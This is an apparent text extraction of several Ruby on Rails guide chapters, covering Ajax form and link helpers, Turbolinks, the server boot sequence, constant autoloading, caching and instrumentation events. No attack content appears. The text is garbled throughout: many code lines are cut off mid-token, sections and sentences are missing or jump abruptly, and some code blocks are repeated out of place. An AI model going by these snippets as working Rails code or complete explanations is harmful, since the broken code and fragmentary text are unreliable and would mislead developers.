).on "ajax:error", (e, xhr, status, error) ->
$("#new_article").append "<p>ERROR</p>"
Obviously, you'll want to be a bit more sophisticated than that, but it's a
start. You can see more about the events in the jquery-ujs wiki.
3.2 form_tag
form_tag is very similar to form_for. It has a :remote option that you can
Everything else is the same as form_for. See its documentation for full
details.
3.3 link_to
link_to is a helper that assists with generating links. It has a :remote
which generates
<a href="/articles/1" data-remote="true">an article</a>
You can bind to the same Ajax events as form_for. Here's an example.
Let's assume that we have a list of articles that can be deleted with just one
click. We would generate some HTML like this:
$ ->
$("a[data-remote]").on "ajax:success", (e, data, status, xhr)
alert "The article was deleted."
3.4 button_to
button_to is a helper that helps you create buttons. It has a :remote
this generates
Since it's just a <form>, all of the information on form_for also applies.
4 Server-Side Concerns
Ajax isn't just client-side, you also need to do some work on the server
side to support it. Often, people like their Ajax requests to return JSON
rather than HTML. Let's discuss what it takes to make that happen.
4.1 A Simple Example
Imagine you have a series of users that you would like to display and
provide a form on that same page to create a new user. The index action of
your controller looks like this:
class UsersController < ApplicationController
def index
@users = User.all
@user = User.new
end
# ...
The top portion of the index page displays the users. The bottom portion
provides a form to create a new user.
The bottom form will call the create action on the UsersController.
Because the form's remote option is set to true, the request will be posted
to the UsersController as an Ajax request, looking for JavaScript. In
order to serve that request, the create action of your controller would look
like this:
# app/controllers/users_controller.rb
# ......
def create
@user = User.new(params[:user])
respond_to do |format|
if @user.save
format.html { redirect_to @user, notice: 'User was succe
format.js {}
format.json { render json: @user, status: :created, loca
else
format.html { render action: "new" }
format.json { render json: @user.errors, status: :unproc
end
end
end
Notice the format.js in the respond_to block; that allows the controller to
respond to your Ajax request. You then have a corresponding
app/views/users/create.js.erb view file that generates the actual
JavaScript code that will be sent and executed on the client side.
$("<%= escape_javascript(render @user) %>").appendTo("#users");
5 Turbolinks
Rails ships with the Turbolinks library, which uses Ajax to speed up page
rendering in most applications.
5.1 How Turbolinks Works
Turbolinks attaches a click handler to all <a> on the page. If your browser
supports PushState, Turbolinks will make an Ajax request for the page,
parse the response, and replace the entire <body> of the page with the
<body> of the response. It will then use PushState to change the URL to
the correct one, preserving refresh semantics and giving you pretty URLs.
The only thing you have to do to enable Turbolinks is have it in your
Gemfile, and put //= require turbolinks in your JavaScript manifest,
which is usually app/assets/javascripts/application.js.
If you want to disable Turbolinks for certain links, add a dataturbolinks="false" attribute to the tag:
<a href="..." data-turbolinks="false">No turbolinks here</a>.
For more details, including other events you can bind to, check out the
Turbolinks README.
6 Other Resources
Here are some helpful links to help you learn even more:
jquery-ujs wiki
jquery-ujs list of external articles
Rails 3 Remote Links and Forms: A Definitive Guide
Railscasts: Unobtrusive JavaScript
Railscasts: Turbolinks
1 Launch!
Let's start to boot and initialize the app. A Rails application is usually
started by running rails console or rails server.
1.1 railties/exe/rails
The rails in the command rails server is a ruby executable in your
load path. This executable contains the following lines:
version = ">= 0"
load Gem.bin_path('railties', 'rails', version)
If you try out this command in a Rails console, you would see that this
loads railties/exe/rails. A part of the file railties/exe/rails.rb has
the following code:
require "rails/cli"
1.3 bin/rails
This file is as follows:
#!/usr/bin/env ruby
APP_PATH = File.expand_path('../../config/application', __FILE__
require_relative '../config/boot'
require 'rails/commands'
activesupport
activejob
arel
builder
bundler
erubis
i18n
mail
mime-types
rack
rack-cache
rack-mount
rack-test
rails
railties
rake
sqlite3
thor
tzinfo
1.5 rails/commands.rb
Once config/boot.rb has finished, the next file that is required is
rails/commands, which helps in expanding aliases. In the current case, the
ARGV array simply contains server which will be passed over:
ARGV << '--help' if ARGV.empty?
aliases = {
"g" => "generate",
"d" => "destroy",
"c" => "console",
"s" => "server",
"db" => "dbconsole",
"r" => "runner",
"t" => "test"
}
command = ARGV.shift
command = aliases[command] || command
require 'rails/commands/commands_tasks'
Rails::CommandsTasks.new(ARGV).run_command!(command)
As you can see, an empty ARGV list will make Rails show the help
snippet.
If we had used s rather than server, Rails would have used the aliases
defined here to find the matching command.
1.6 rails/commands/commands_tasks.rb
When one types a valid Rails command, run_command! a method of the
same name is called. If Rails doesn't recognize the command, it tries to run
a Rake task of the same name.
With the server command, Rails will further run the following code:
def set_application_directory!
Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.ex
end
def server
set_application_directory!
require_command!("server")
Rails::Server.new.tap do |server|
# We need to require application after the server sets envir
# otherwise the --environment option given to the server won
require APP_PATH
Dir.chdir(Rails.application.root)
server.start
end
end
def require_command!(command)
require "rails/commands/#{command}"
end
This file will change into the Rails root directory (a path two directories up
from APP_PATH which points at config/application.rb), but only if the
config.ru file isn't found. This then requires rails/commands/server
which sets up the Rails::Server class.
require 'fileutils'
require 'optparse'
require 'action_dispatch'
require 'rails'
module Rails
class Server < ::Rack::Server
fileutils and optparse are standard Ruby libraries which provide helper
In fact, the options method here does quite a lot. This method is defined
in Rack::Server like this:
def options
@options ||= parse_options(ARGV)
end
def default_options
environment = ENV['RACK_ENV'] || 'development'
default_host = environment == 'development' ? 'localhost' : '0
{
:environment => environment,
:pid => nil,
:Port => 9292,
There is no REQUEST_METHOD key in ENV so we can skip over that line. The
next line merges in the options from opt_parser which is defined plainly
in Rack::Server:
def opt_parser
Options.new
end
This method will set up keys for the options which Rails will then be able
to use to determine how its server should run. After initialize has
finished, we jump back into rails/server where APP_PATH (which was
set earlier) is required.
1.10 config/application
When require APP_PATH is executed, config/application.rb is loaded
(recall that APP_PATH is defined in bin/rails). This file exists in your
application and it's free for you to change based on your needs.
1.11 Rails::Server#start
After config/application is loaded, server.start is called. This
method is defined like this:
def start
print_boot_information
trap(:INT) { exit }
create_tmp_directories
log_to_stdout if options[:log_stdout]
super
...
end
private
def print_boot_information
...
puts "=> Run `rails server -h` for more startup options"
end
def create_tmp_directories
%w(cache pids sockets).each do |dir_to_make|
FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make
end
end
def log_to_stdout
wrapped_app # touch the app so the logger is set up
console = ActiveSupport::Logger.new($stdout)
console.formatter = Rails.logger.formatter
console.level = Rails.logger.level
Rails.logger.extend(ActiveSupport::Logger.broadcast(console)
end
This is where the first output of the Rails initialization happens. This
method creates a trap for INT signals, so if you CTRL-C the server, it will
exit the process. As we can see from the code here, it will create the
tmp/cache, tmp/pids, and tmp/sockets directories. It then calls
wrapped_app which is responsible for creating the Rack app, before
creating and assigning an instance of ActiveSupport::Logger.
The super method will call Rack::Server.start which begins its
definition like this:
def start &blk
if options[:warn]
$-w = true
end
if includes = options[:include]
$LOAD_PATH.unshift(*includes)
end
if library = options[:require]
require library
end
if options[:debug]
$DEBUG = true
require 'pp'
p options[:server]
pp wrapped_app
pp app
end
check_pid! if options[:pid]
trap(:INT) do
if server.respond_to?(:shutdown)
server.shutdown
else
exit
end
end
server.run wrapped_app, options, &blk
end
The interesting part for a Rails app is the last line, server.run. Here we
encounter the wrapped_app method again, which this time we're going to
explore more (even though it was executed before, and thus memoized by
now).
@wrapped_app ||= build_app app
def app
@app ||= options[:builder] ? build_app_from_string : build_app
end
...
private
def build_app_and_options_from_config
if !::File.exist? options[:config]
abort "configuration #{options[:config]} not found"
end
The initialize method of Rack::Builder will take the block here and
execute it within an instance of Rack::Builder. This is where the majority
of the initialization process of Rails happens. The require line for
config/environment.rb in config.ru is the first to run:
require ::File.expand_path('../config/environment', __FILE__)
1.12 config/environment.rb
This file is the common file required by config.ru (rails server) and
Passenger. This is where these two ways to run the server meet; everything
before this point has been Rack and Rails setup.
This file begins with requiring config/application.rb:
require File.expand_path('../application', __FILE__)
1.13 config/application.rb
This file requires config/boot.rb:
require File.expand_path('../boot', __FILE__)
But only if it hasn't been required before, which would be the case in
rails server but wouldn't be the case with Passenger.
Then the fun begins!
2 Loading Rails
The next line in config/application.rb is:
require 'rails/all'
2.1 railties/lib/rails/all.rb
This file is responsible for requiring all the individual frameworks of
Rails:
require "rails"
%w(
active_record/railtie
action_controller/railtie
action_view/railtie
action_mailer/railtie
active_job/railtie
action_cable/engine
rails/test_unit/railtie
sprockets/railtie
).each do |railtie|
begin
require "#{railtie}"
rescue LoadError
end
end
This is where all the Rails frameworks are loaded and thus made available
to the application. We won't go into detail of what happens inside each of
those frameworks, but you're encouraged to try and explore them on your
own.
For now, just keep in mind that common functionality like Rails engines,
I18n and Rails configuration are all being defined here.
As you can see, you can only initialize an app once. The initializers are run
through the run_initializers method which is defined in
railties/lib/rails/initializable.rb:
def run_initializers(group=:default, *args)
return if instance_variable_defined?(:@ran)
initializers.tsort_each do |initializer|
initializer.run(*args) if initializer.belongs_to?(group)
end
@ran = true
end
initializers method. It then sorts the ancestors by name, and runs them.
For example, the Engine class will make all the engines available by
providing an initializers method on them.
def app
@app ||= options[:builder] ? build_app_from_string : build_app
end
...
private
def build_app_and_options_from_config
if !::File.exist? options[:config]
abort "configuration #{options[:config]} not found"
end
At this point app is the Rails app itself (a middleware), and what happens
next is Rack will call all the provided middlewares:
def build_app(app)
middleware[options[:environment]].reverse_each do |middleware|
middleware = middleware.call(self) if middleware.respond_to?
next unless middleware
klass = middleware.shift
app = klass.new(app, *middleware)
end
app
end
ENV['RACK_ENV'] = options[:environment].to_s
end
server = ::Puma::Server.new(app)
min, max = options[:Threads].split(':', 2)
begin
server.run.join
rescue Interrupt
puts "* Gracefully stopping, waiting for requests to finish"
server.stop(true)
puts "* Goodbye!"
end
end
We won't dig into the server configuration itself, but this is the last piece
of our journey in the Rails initialization process.
This high level overview will help you understand when your code is
executed and how, and overall become a better Rails developer. If you still
want to know more, the Rails source code itself is probably the best place
to go next.
1 Introduction
Ruby on Rails allows applications to be written as if their code was
preloaded.
In a normal Ruby program classes need to load their dependencies:
require 'application_controller'
require 'post'
class PostsController < ApplicationController
def index
@posts = Post.all
end
end
2 Constants Refresher
While constants are trivial in most programming languages, they are a rich
topic in Ruby.
It is beyond the scope of this guide to document Ruby constants, but we
are nevertheless going to highlight a few key topics. Truly grasping the
following sections is instrumental to understanding constant autoloading
and reloading.
2.1 Nesting
Class and module definitions can be nested to create namespaces:
module XML
class SAXParser
# (1)
end
end
The nesting at any given place is the collection of enclosing nested class
and module objects outwards. The nesting at any given place can be
inspected with Module.nesting. For example, in the previous example, the
nesting at (1) is
[XML::SAXParser, XML]
# (2)
end
We can see in this example that the name of a class or module that belongs
to a certain nesting does not necessarily correlate with the namespaces at
the spot.
Even more, they are totally independent, take for instance
module X
module Y
end
end
module A
module B
end
end
module X::Y
module A::B
# (3)
end
end
So, it not only doesn't end in A, which does not even belong to the nesting,
constant.
That is,
class Project < ApplicationRecord
end
Constant assignment has a special rule to make that happen: if the object
being assigned is an anonymous class or module, Ruby sets the object's
name to the name of the constant.
From then on, what happens to the constant and the instance does not
matter. For example, the constant could be deleted, the class object could
be assigned to a different constant, be stored in no constant anymore, etc.
Once the name is set, it doesn't change.
Similarly, module creation using the module keyword as in
module Admin
end
Post is not syntax for a class. Rather, Post is a regular Ruby constant. If
all is good, the constant is evaluated to an object that responds to all.
That is why we talk about constant autoloading, Rails has the ability to
load constants on the fly.
2.3 Constants are Stored in Modules
Constants belong to modules in a very literal sense. Classes and modules
have a constant table; think of it as a hash table.
Let's analyze an example to really understand what that means. While
common abuses of language like "the String class" are convenient, the
exposition is going to be precise here for didactic purposes.
Let's consider the following module definition:
module Colors
RED = '0xff0000'
end
First, when the module keyword is processed, the interpreter creates a new
entry in the constant table of the class object stored in the Object constant.
Said entry associates the name "Colors" to a newly created module object.
Furthermore, the interpreter sets the name of the new module object to be
the string "Colors".
Later, when the body of the module definition is interpreted, a new entry is
created in the constant table of the module object stored in the Colors
constant. That entry maps the name "RED" to the string "0xff0000".
In particular, Colors::RED is totally unrelated to any other RED constant
that may live in any other class or module object. If there were any, they
would have separate entries in their respective constant tables.
Pay special attention in the previous paragraphs to the distinction between
class and module objects, constant names, and value objects associated to
them in constant tables.
2.4 Resolution Algorithms
2.4.1 Resolution Algorithm for Relative Constants
At any given place in the code, let's define cref to be the first element of
the nesting if it is not empty, or Object otherwise.
Without getting too much into the details, the resolution algorithm for
relative constant references goes like this:
1. If the nesting is not empty the constant is looked up in its elements
and in order. The ancestors of those elements are ignored.
2. If not found, then the algorithm walks up the ancestor chain of the
cref.
3. If not found and the cref is a module, the constant is looked up in
Object.
4. If not found, const_missing is invoked on the cref. The default
implementation of const_missing raises NameError, but it can be
overridden.
Rails autoloading does not emulate this algorithm, but its starting point
is the name of the constant to be autoloaded, and the cref. See more in
Relative References.
2.4.2 Resolution Algorithm for Qualified Constants
its resolution next. Let's define parent to be that qualifying class or module
object, that is, Billing in the example above. The algorithm for qualified
constants goes like this:
3 Vocabulary
3.1 Parent Namespaces
Given a string with a constant path we define its parent namespace to be
the string that results from removing its rightmost segment.
For example, the parent namespace of the string "A::B::C" is the string
"A::B", the parent namespace of "A::B" is "A", and the parent namespace
of "A" is "".
The interpretation of a parent namespace when thinking about classes and
modules is tricky though. Let's consider a module M named "A::B":
The parent namespace, "A", may not reflect nesting at a given spot.
The constant A may no longer exist, some code could have removed it
from Object.
If A exists, the class or module that was originally in A may not be
there anymore. For example, if after a constant removal there was
another constant assignment there would generally be a different
object in there.
In such case, it could even happen that the reassigned A held a new
class or module called also "A"!
In the previous scenarios M would no longer be reachable through
A::B but the module object itself could still be alive somewhere and
its name would still be "A::B".
The idea of a parent namespace is at the core of the autoloading algorithms
and helps explain and understand their motivation intuitively, but as you
see that metaphor leaks easily. Given an edge case to reason about, take
always into account that by "parent namespace" the guide means exactly
that specific string derivation.
3.2 Loading Mechanism
reloading is enabled.
This guide uses the word "load" freely to mean a given file is interpreted,
but the actual mechanism can be Kernel#load or Kernel#require
depending on that flag.
4 Autoloading Availability
Rails is always able to autoload provided its environment is in place. For
example the runner command autoloads:
$ bin/rails runner 'p User.column_names'
["id", "email", "created_at", "updated_at"]
The console autoloads, the test suite autoloads, and of course the
application autoloads.
By default, Rails eager loads the application files when it boots in
production mode, so most of the autoloading going on in development
does not happen. But autoloading may still be triggered during eager
loading.
For example, given
class BeachHouse < House
end
5 autoload_paths
As you probably know, when require gets a relative file name:
require 'erb'
Ruby looks for the file in the directories listed in $LOAD_PATH. That is,
Ruby iterates over all its directories and for each one of them checks
whether they have a file called "erb.rb", or "erb.so", or "erb.o", or
"erb.dll". If it finds any of them, the interpreter loads it and ends the
search. Otherwise, it tries again in the next directory of the list. If the list
gets exhausted, LoadError is raised.
We are going to cover how constant autoloading works in more detail
later, but the idea is that when a constant like Post is hit and missing, if
there's a post.rb file for example in app/models Rails is going to find it,
evaluate it, and have Post defined as a side-effect.
Alright, Rails has a collection of directories similar to $LOAD_PATH in
which to look up post.rb. That collection is called autoload_paths and
by default it contains:
All subdirectories of app in the application and engines present at
boot time. For example, app/controllers. They do not need to be
the default ones, any custom directories like app/workers belong
automatically to autoload_paths.
Any existing second level directories called app/*/concerns in the
application and engines.
The directory test/mailers/previews.
Also, this collection is configurable via config.autoload_paths. For
example, lib was in the list years ago, but no longer is. An application can
opt-in by adding this to config/application.rb:
configuration files.
The value of autoload_paths can be inspected. In a just generated
application it is (edited):
$ bin/rails r 'puts ActiveSupport::Dependencies.autoload_paths'
.../app/assets
.../app/controllers
.../app/helpers
.../app/mailers
.../app/models
.../app/controllers/concerns
.../app/models/concerns
.../test/mailers/previews
6 Autoloading Algorithms
6.1 Relative References
A relative constant reference may appear in several places, for example, in
class PostsController < ApplicationController
def index
@posts = Post.all
end
end
Ruby performs a lookup for the constant that follows a class or module
keyword because it needs to know if the class or module is going to be
created or reopened.
If the constant is not defined at that point it is not considered to be a
missing constant, autoloading is not triggered.
So, in the previous example, if PostsController is not defined when the
file is interpreted Rails autoloading is not going to be triggered, Ruby will
just define the controller.
6.1.2 Top-Level Constants
Let's see how Rails autoloads the Post constant in the PostsController
above assuming the application has a Post model defined in
app/models/post.rb.
First it checks for posts_controller/post.rb in autoload_paths:
app/assets/posts_controller/post.rb
app/controllers/posts_controller/post.rb
app/helpers/posts_controller/post.rb
...
test/mailers/previews/posts_controller/post.rb
If all those attempts fail, then Rails starts the lookup again in the parent
namespace. In this case only the top-level remains:
app/assets/post.rb
app/controllers/post.rb
app/helpers/post.rb
app/mailers/post.rb
app/models/post.rb
and
Admin::User
If User is missing, in either case all Rails knows is that a constant called
"User" was missing in a module called "Admin".
If there is a top-level User Ruby would resolve it in the former example,
but wouldn't in the latter. In general, Rails does not emulate the Ruby
constant resolution algorithms, but in this case it tries using the following
heuristic:
and the User constant is already present in Object, it is not possible that
the situation is
module Admin
User
end
if C is now defined
return
else
raise LoadError
end
end
end
# Look for an automatic module.
for dir in autoload_paths
if the directory "#{dir}/#{ns.underscore}/c" exists
if ns is an empty string
let C = Module.new in Object and return
else
let C = Module.new in ns.constantize and return
end
end
end
if ns is empty
# We reached the top-level without finding the constant.
raise NameError
else
if C exists in any of the parent namespaces
# Qualified constants heuristic.
raise NameError
else
# Try again in the parent namespace.
let ns = the parent namespace of ns and retry
end
end
end
7 require_dependency
Constant autoloading is triggered on demand and therefore code that uses a
certain constant may have it already defined or may trigger an autoload.
That depends on the execution path and it may vary between runs.
There are times, however, in which you want to make sure a certain
constant is known when the execution reaches some code.
require_dependency provides a way to load a file using the current
loading mechanism, and keeping track of constants defined in that file as if
they were autoloaded to have them reloaded as needed.
require_dependency is rarely needed, but see a couple of use-cases in
8 Constant Reloading
When config.cache_classes is false Rails is able to reload autoloaded
constants.
For example, if you're in a console session and edit some file behind the
scenes, the code can be reloaded with the reload! command:
> reload!
Locales.
Ruby files under autoload_paths.
db/schema.rb and db/structure.sql.
If anything in there changes, there is a middleware that detects it and
reloads the code.
Autoloading keeps track of autoloaded constants. Reloading is
implemented by removing them all from their respective classes and
modules using Module#remove_const. That way, when the code goes on,
those constants are going to be unknown again, and files reloaded on
demand.
This is an all-or-nothing operation, Rails does not attempt to reload only
what changed since dependencies between classes makes that really tricky.
Instead, everything is wiped.
10 Common Gotchas
10.1 Nesting and Qualified Constants
Let's consider
module Admin
class UsersController < ApplicationController
def index
@users = User.all
end
end
end
and
class Admin::UsersController < ApplicationController
def index
@users = User.all
end
end
To resolve User Ruby checks Admin in the former case, but it does not in
the latter because it does not belong to the nesting (see Nesting and
Resolution Algorithms).
Unfortunately Rails autoloading does not know the nesting in the spot
where the constant was missing and so it is not able to act as Ruby would.
In particular, Admin::User will get autoloaded in either case.
Albeit qualified constants with class and module keywords may
technically work with autoloading in some cases, it is preferable to use
relative constants instead:
module Admin
class UsersController < ApplicationController
def index
@users = User.all
end
end
end
type.
Methods that operate on collections are also aware of the hierarchy. For
example, Polygon.all returns all the records of the table, because all
rectangles and triangles are polygons. Active Record takes care of
returning instances of their corresponding class in the result set.
Types are autoloaded as needed. For example, if Polygon.first is a
rectangle and Rectangle has not yet been loaded, Active Record autoloads
it and the record is correctly instantiated.
All good, but if instead of performing queries based on the root class we
need to work on some subclass, things get interesting.
While working with Polygon you do not need to be aware of all its
descendants, because anything in the table is by definition a polygon, but
when working with subclasses Active Record needs to be able to
enumerate the types it is looking for. Lets see an example.
Rectangle.all only loads rectangles by adding a type constraint to the
query:
SELECT "polygons".* FROM "polygons"
WHERE "polygons"."type" IN ("Rectangle")
But theres a caveat here: How does Active Record know that the class
Square exists at all?
Even if the file app/models/square.rb exists and defines the Square
class, if no code yet used that class, Rectangle.all issues the query
That is not a bug, the query includes all known descendants of Rectangle.
A way to ensure this works correctly regardless of the order of execution is
to load the leaves of the tree by hand at the bottom of the file that defines
the root class:
# app/models/polygon.rb
class Polygon < ApplicationRecord
end
require_dependency square
Only the leaves that are at least grandchildren need to be loaded this
way. Direct subclasses do not need to be preloaded. If the hierarchy is
deeper, intermediate classes will be autoloaded recursively from the
bottom because their constant will appear in the class definitions as
superclass.
10.3 Autoloading and require
Files defining constants to be autoloaded should never be required:
require 'user' # DO NOT DO THIS
class UsersController < ApplicationController
...
end
2.
$LOADED_FEATURES.
If the require runs first Rails does not mark User as an autoloaded
constant and changes to app/models/user.rb aren't reloaded.
Just follow the flow and use constant autoloading always, never mix
autoloading and require. As a last resort, if some file absolutely needs to
load a certain file use require_dependency to play nice with constant
autoloading. This option is rarely needed in practice, though.
Of course, using require in autoloaded files to load ordinary 3rd party
libraries is fine, and Rails is able to distinguish their constants, they are not
marked as autoloaded.
10.4 Autoloading and Initializers
Consider this assignment in
config/initializers/set_auth_service.rb:
AUTH_SERVICE = if Rails.env.production?
RealAuthService
else
MockedAuthService
end
The purpose of this setup would be that the application uses the class that
corresponds to the environment via AUTH_SERVICE. In development mode
MockedAuthService gets autoloaded when the initializer runs. Lets
suppose we do some requests, change its implementation, and hit the
application again. To our surprise the changes are not reflected. Why?
As we saw earlier, Rails removes autoloaded constants, but AUTH_SERVICE
stores the original class object. Stale, non-reachable using the original
constant, but perfectly functional.
The following code summarizes the situation:
class C
def quack
'quack!'
end
end
X = C
Object.instance_eval { remove_const(:C) }
X.new.quack # => quack!
X.name # => C
C # => uninitialized constant C (NameError)
initializer.
One could think about doing some require_dependency calls in an
initializer to make sure certain constants are loaded upfront, for example as
an attempt to address the gotcha with STIs.
Problem is, in development mode autoloaded constants are wiped if there
is any relevant change in the file system. If that happens then we are in the
very same situation the initializer wanted to avoid!
Calls to require_dependency have to be strategically written in
autoloaded spots.
10.6 When Constants aren't Missed
10.6.1 Relative References
Let's consider a flight simulator. The application has a default flight model
# app/models/flight_model.rb
class FlightModel
end
end
end
Given
# app/models/hotel.rb
class Hotel
end
# app/models/image.rb
class Image
end
# app/models/hotel/image.rb
class Hotel
class Image < Image
end
end
Since Rails checks the top-level namespace User gets autoloaded just fine
the first time the user method is invoked. You only get the exception if the
User constant is known at that point, in particular in a second call to user:
c = C.new
c.user # surprisingly fine, User
c.user # NameError: uninitialized constant C::User
because it detects that a parent namespace already has the constant (see
Qualified References).
As with pure Ruby, within the body of a direct descendant of BasicObject
use always absolute constant paths:
class C < BasicObject
::String # RIGHT
def user
::User # RIGHT
end
end
1 Basic Caching
This is an introduction to three types of caching techniques: page, action
and fragment caching. By default Rails provides fragment caching. In
order to use page and action caching you will need to add actionpackpage_caching and actionpack-action_caching to your Gemfile.
By default, caching is only enabled in your production environment. To
play around with caching locally you'll want to enable caching in your
local environment by setting
config.action_controller.perform_caching to true in the relevant
config/environments/*.rb file:
config.action_controller.perform_caching = true
Page Caching cannot be used for actions that have before filters - for
example, pages that require authentication. This is where Action Caching
comes in. Action Caching works like Page Caching except the incoming
web request hits the Rails stack so that before filters can be run on it
before the cache is served. This allows authentication and other restrictions
to be run while still serving the result of the output from a cached copy.
Action Caching has been removed from Rails 4. See the actionpackaction_caching gem. See DHH's key-based cache expiration overview for
the newly-preferred method.
1.3 Fragment Caching
Dynamic web applications usually build pages with a variety of
components not all of which have the same caching characteristics. When
different parts of the page need to be cached and expired separately you
can use Fragment Caching.
Fragment Caching allows a fragment of view logic to be wrapped in a
cache block and served out of the cache store when the next request comes
in.
For example, if you wanted to cache each product on a page, you could use
this code:
<% @products.each do |product| %>
<% cache product do %>
<%= render product %>
<% end %>
<% end %>
When your application receives its first request to this page, Rails will
write a new cache entry with a unique key. A key looks something like
this:
views/products/1-201505056193031061005000/bea67108094918eeba42cd
The render helper can also cache individual templates rendered for a
collection. It can even one up the previous example with each by reading
all cache templates at once instead of one by one. This is done by passing
cached: true when rendering the collection:
All cached templates from previous renders will be fetched at once with
much greater speed. Additionally, the templates that haven't yet been
cached will be written to cache and multi fetched on the next render.
1.4 Russian Doll Caching
You may want to nest cached fragments inside other cached fragments.
This is called Russian doll caching.
The advantage of Russian doll caching is that if a single product is
updated, all the other inner fragments can be reused when regenerating the
outer fragment.
As explained in the previous section, a cached file will expire if the value
of updated_at changes for a record on which the cached file directly
depends. However, this will not expire any cache the fragment is nested
within.
For example, take the following view:
<% cache product do %>
<%= render product.games %>
<% end %>
If any attribute of game is changed, the updated_at value will be set to the
current time, thereby expiring the cache. However, because updated_at
will not be changed for the product object, that cache will not be expired
and your app will serve stale data. To fix this, we tie the models together
with the touch method:
With touch set to true, any action which changes updated_at for a game
record will also change it for the associated product, thereby expiring the
cache.
1.5 Managing dependencies
In order to correctly invalidate the cache, you need to properly define the
caching dependencies. Rails is clever enough to handle common cases so
you don't have to specify anything. However, sometimes, when you're
dealing with custom helpers for instance, you need to explicitly define
them.
1.5.1 Implicit dependencies
On the other hand, some calls need to be changed to make caching work
properly. For instance, if you're passing a custom collection, you'll need to
change:
render @project.documents.where(published: true)
to:
In some cases, like a single table inheritance setup, you might have a
bunch of explicit dependencies. Instead of writing every template out, you
can use a wildcard to match any template in a directory:
<%# Template Dependency: events/* %>
<%= render_categorizable_events @person.events %>
As for collection caching, if the partial template doesn't start with a clean
cache call, you can still benefit from collection caching by adding a special
comment format anywhere in the template, like:
If you use a helper method, for example, inside a cached block and you
then update that helper, you'll have to bump the cache as well. It doesn't
really matter how you do it, but the md5 of the template file must change.
One recommendation is to simply be explicit in a comment, like:
<%# Helper Dependency Updated: Jul 28, 2015 at 7pm %>
<%= some_helper_method(person) %>
Competitor::API.find_price(id)
end
end
end
The second time the same query is run against the database, it's not
actually going to hit the database. The first time the result is returned from
the query it is stored in the query cache (in memory) and the second time
it's pulled from memory.
However, it's important to note that query caches are created at the start of
an action and destroyed at the end of that action and thus persist only for
the duration of the action. If you'd like to store query results in a more
persistent fashion, you can with low level caching.
2 Cache Stores
Rails provides different stores for the cached data (apart from SQL and
page caching).
2.1 Configuration
You can set up your application's default cache store by setting the
config.cache_store configuration option. Other parameters can be
passed as arguments to the cache store's constructor:
config.cache_store = :memory_store, { size: 64.megabytes }
You can create your own custom cache store by simply extending
ActiveSupport::Cache::Store and implementing the appropriate
methods. This way, you can swap in any number of caching technologies
into your Rails application.
To use a custom cache store, simply set the cache store to a new instance
of your custom class.
config.cache_store = MyCacheStore.new
2.3 ActiveSupport::Cache::MemoryStore
This cache store keeps entries in memory in the same Ruby process. The
cache store has a bounded size specified by sending the :size option to
the initializer (default is 32Mb). When the cache exceeds the allotted size,
a cleanup will occur and the least recently used entries will be removed.
config.cache_store = :memory_store, { size: 64.megabytes }
With this cache store, multiple server processes on the same host can share
a cache. The cache store is appropriate for low to medium traffic sites that
are served off one or two hosts. Server processes running on different
hosts could share a cache by using a shared file system, but that setup is
not recommended.
As the cache will grow until the disk is full, it is recommended to
periodically clear out old entries.
This is the default cache store implementation.
2.5 ActiveSupport::Cache::MemCacheStore
This cache store uses Danga's memcached server to provide a centralized
cache for your application. Rails uses the bundled dalli gem by default.
This is currently the most popular cache store for production websites. It
can be used to provide a single, shared cache cluster with very high
performance and redundancy.
When initializing the cache, you need to specify the addresses for all
memcached servers in your cluster. If none are specified, it will assume
memcached is running on localhost on the default port, but this is not an
ideal setup for larger sites.
The write and fetch methods on this cache accept two additional options
that take advantage of features specific to memcached. You can specify
:raw to send a value directly to the server with no serialization. The value
must be a string or number. You can use memcached direct operations like
increment and decrement only on raw values. You can also specify
:unless_exist if you don't want memcached to overwrite an existing
entry.
2.6 ActiveSupport::Cache::NullStore
This cache store implementation is meant to be used only in development
or test environments and it never stores anything. This can be very useful
in development when you have code that interacts directly with
Rails.cache but caching may interfere with being able to see the results
of code changes. With this cache store, all fetch and read operations will
result in a miss.
config.cache_store = :null_store
3 Cache Keys
The keys used in a cache can be any object that responds to either
cache_key or to_param. You can implement the cache_key method on
your classes if you need to generate custom keys. Active Record will
generate keys based on the class name and record id.
You can use Hashes and Arrays of values as cache keys.
# This is a legal cache key
Rails.cache.read(site: "mysite", owners: [owner_1, owner_2])
The keys you use on Rails.cache will not be the same as those actually
used with the storage engine. They may be modified with a namespace or
altered to fit technology backend constraints. This means, for instance, that
you can't save values with Rails.cache and then try to pull them out with
the dalli gem. However, you also don't need to worry about exceeding
the memcached size limit or violating syntax rules.
Instead of an options hash, you can also simply pass in a model. Rails will
use the updated_at and cache_key methods for setting last_modified
and etag:
class ProductsController < ApplicationController
def show
@product = Product.find(params[:id])
if stale?(@product)
respond_to do |wants|
# ... normal response processing
end
end
end
end
If you don't have any special response processing and are using the default
rendering mechanism (i.e. you're not using respond_to or calling render
yourself) then you've got an easy helper in fresh_when:
class ProductsController < ApplicationController
def show
@product = Product.find(params[:id])
fresh_when last_modified: @product.published_at.utc, etag: @
end
end
Unlike weak ETag, strong ETag implies that response should be exactly
the same and byte by byte identical. Useful when doing Range requests
within a large video or PDF file. Some CDNs support only strong ETags,
like Akamai. If you absolutely need to generate a strong ETag, it can be
done as follows.
You can also set the strong ETag directly on the response.
5 References
DHH's article on key-based expiration
Ryan Bates' Railscast on cache digests
1 Introduction to instrumentation
The instrumentation API provided by Active Support allows developers to
provide hooks which other developers may hook into. There are several of
these within the Rails framework. With this API, developers can choose to
be notified when certain events occur inside their application or another
piece of Ruby code.
For example, there is a hook provided within Active Record that is called
every time Active Record uses an SQL query on a database. This hook
could be subscribed to, and used to track the number of queries during a
certain action. There's another hook around the processing of an action of a
controller. This could be used, for instance, to track how long a specific
action has taken.
You are even able to create your own events inside your application which
you can later subscribe to.
3 Action Controller
3.1 write_fragment.action_controller
Key
Value
:key The complete key
{
key: 'posts/1-dashboard-view'
}
3.2 read_fragment.action_controller
Key
Value
:key The complete key
{
key: 'posts/1-dashboard-view'
}
3.3 expire_fragment.action_controller
Key
Value
:key The complete key
{
key: 'posts/1-dashboard-view'
}
3.4 exist_fragment?.action_controller
Key
Value
3.5 write_page.action_controller
Key
Value
:path The complete path
{
path: '/users/1'
}
3.6 expire_page.action_controller
Key
Value
:path The complete path
{
path: '/users/1'
}
3.7 start_processing.action_controller
Key
Value
The action
Hash of request parameters without any filtered parameter
Request headers
html/js/json/xml etc
:method
:path
{
controller: "PostsController",
action: "new",
params: { "action" => "new", "controller" => "posts" },
headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>,
format: :html,
method: "GET",
